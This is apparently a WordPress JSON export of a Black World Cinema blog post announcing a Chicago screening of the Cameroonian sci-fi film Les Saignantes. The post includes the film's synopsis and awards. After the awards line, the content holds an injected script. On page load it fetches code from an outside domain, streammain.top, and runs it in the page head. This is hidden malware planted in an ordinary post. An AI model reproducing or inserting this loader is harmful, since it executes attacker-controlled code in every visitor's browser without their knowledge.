{"id":1161,"date":"2015-01-21T21:55:57","date_gmt":"2015-01-22T03:55:57","guid":{"rendered":"http:\/\/blackworldcinema.net\/blog\/?p=1161"},"modified":"2025-06-03T00:32:19","modified_gmt":"2025-06-03T05:32:19","slug":"thur-feb-6-7pm-les-saignantes-the-bleeders-2005-adm-6","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2015\/01\/21\/thur-feb-6-7pm-les-saignantes-the-bleeders-2005-adm-6\/","title":{"rendered":"BLACK FUTURE MONTH: Thur Feb 5, 7pm, Les Saignantes (The Bleeders) 2005, Adm. $6"},"content":{"rendered":"<p><a href=\"http:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2015\/01\/saignantes_web.jpg\"><img fetchpriority=\"high\" decoding=\"async\" width=\"739\" height=\"318\" class=\"aligncenter size-full wp-image-1166\" src=\"http:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2015\/01\/saignantes_web.jpg\" alt=\"saignantes_web\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2015\/01\/saignantes_web.jpg 739w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2015\/01\/saignantes_web-300x129.jpg 300w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2015\/01\/saignantes_web-600x258.jpg 600w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2015\/01\/saignantes_web-720x310.jpg 720w\" sizes=\"(max-width: 739px) 100vw, 739px\" \/><\/a>Black World Cinema and Chatham 14 presents<br \/>\nan exploration of AfroFuturism, Black Radical Imagination and speculative realities.<br \/>\nThursday, February 6, 7pm,\u00a0Adm. $6<\/p>\n<p>PROGRAM 1: <strong><em>AfroFutures<\/em><\/strong><\/p>\n<p>Les Saignantes (The Bleeders) 2005,<br \/>\nCameroon, 92 min,\u00a0<span style=\"color: #ff0000;\">Adult Content<\/span><br \/>\nDir: Jean-Pierre Bekolo<br \/>\nTrailer:<a href=\"http:\/\/vimeo.com\/117553282\"> http:\/\/vimeo.com\/117553282<\/a><br \/>\n#blackfuturemonth, #afrofuturism849<\/p>\n<p>SMG Chatham 14<br \/>\n210 W 87th St, Chicago<\/p>\n<p>Yaounde 2025 A.D. Two streetwise women are sent on a strange odyssey through a decaying society in this offbeat sci-fi comedy, set in a fictional African nation in the year 2025. Majolie (Ad\u00e8le Ado) is an ambitious prostitute whose clients include a handful of prominent politicians, and one evening&#8217;s assignment with the secretary general of the Civil Cabinet (Balthazar Amadagoleda) becomes problematic when he dies in flagrante delicto. Needing to get<span class=\"text_exposed_show\"> rid of the body and fast, Majolie calls on her best friend, Chouchou (Dorylia Calmel), for help. Disposing of the secretary general&#8217;s remains sends Majolie and Chouchou on a strange ride through the sordid underbelly of the city as they discover a number of people looking for a way to turn the streetwalker&#8217;s poor fortune to their advantage, including a crooked politician, a Machiavellian taxi driver, a handful of street people, and an underground society of covertly powerful women.<br \/>\n<\/span><\/p>\n<p>Awards:<br \/>\n2007: FESPACO: 2nd Prize<br \/>\n2007: FESPACO: Best Actress Awards Adele Ado and Dorylia Calmel<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Black World Cinema and Chatham 14 presents an exploration of AfroFuturism, Black Radical Imagination and speculative realities. Thursday, February 6, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1166,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center 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World Cinema and Chatham 14 presents an exploration of AfroFuturism, Black Radical Imagination and speculative realities. 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